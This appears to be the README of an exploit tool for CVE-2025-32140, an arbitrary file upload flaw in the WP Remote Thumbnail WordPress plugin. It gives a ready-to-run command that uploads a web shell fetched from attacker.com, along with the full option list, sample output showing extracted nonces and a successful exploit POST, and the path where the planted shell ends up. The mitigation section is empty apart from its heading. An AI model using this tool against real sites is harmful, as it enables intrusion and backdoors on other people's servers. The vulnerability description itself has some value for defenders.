
WordPress WP Remote Thumbnail Plugin <= 1.3.2 is vulnerable to Arbitrary File Upload
CVE-2025-32140 is a critical vulnerability in the WP Remote Thumbnail plugin for WordPress. It enables authenticated attackers (with contributor or higher permissions) to upload arbitrary files, such as web shells, by abusing a flawed feature that accepts unsanitized URLs.
The plugin fails to validate the file type or content fetched from the provided remote_thumb URL. This allows attackers to save malicious PHP files (e.g., backdoors) into the /wp-content/uploads directory.
edit_post capability)This Python script automates the exploitation of CVE-2025-32140, performing the following steps:
remote_thumb parameter.python CVE-2025-32140.py -u http://target.com/wordpress -un admin -p admin -uid 1 -pid 631 --shell http://attacker.com/shell.php
usage: CVE-2025-32140.py [-h] --url URL --username USERNAME --password PASSWORD --user_ID USER_ID --post_ID POST_ID --shell SHELL
Exploit For CVE-2025-32140 # By: Nxploited | Khaled Alenazi
options:
-h, --help show this help message and exit
--url, -u URL Target WordPress site URL (e.g., http://192.168.100.74:888/wordpress)
--username, -un USERNAME
Username
--password, -p PASSWORD
Password
--user_ID, -uid USER_ID
User ID (usually 1 for admin)
--post_ID, -pid POST_ID
Target post ID
--shell SHELL URL of the shell to be uploaded (e.g., http://attacker.com/shell.php)
[+] Logged in successfully.
[+] Cookies set successfully.
[DEBUG] Extracted _wpnonce: b4ef78e77d
[DEBUG] Extracted meta-box-order-nonce: 0c192fe62e
[DEBUG] Extracted closedpostboxesnonce: 52be514040
[DEBUG] Extracted samplepermalinknonce: 7b213c6597
[DEBUG] Extracted wprthumb_nonce: 45803ee312
[DEBUG] Extracted X-WP-Nonce: None
[+] Exploit POST sent successfully. Check your uploads directory.
By: Nxploited ( Khaled Alenazi ) | https://github.com/Nxploited
Once exploited, the uploaded web shell will likely be stored at:
http://target.com/wordpress/wp-content/uploads/YYYY/MM/shell.php
Replace YYYY/MM with the current year and month of upload.
To mitigate the risk posed by this vulnerability:
This script is provided for educational purposes only.
The author is not responsible for any misuse or damage caused by this exploit.
| Option | Alias | Description |
|---|
--url | -u | Target WordPress site URL (e.g., http://target.com/wordpress) |
--username | -un | WordPress username with post editing privileges |
--password | -p | Password for the specified username |
--user_ID | -uid | WordPress User ID (usually 1 for admin) |
--post_ID | -pid | ID of the post to be edited (can be a draft) |
--shell | Direct URL to a PHP web shell hosted on the attacker's server |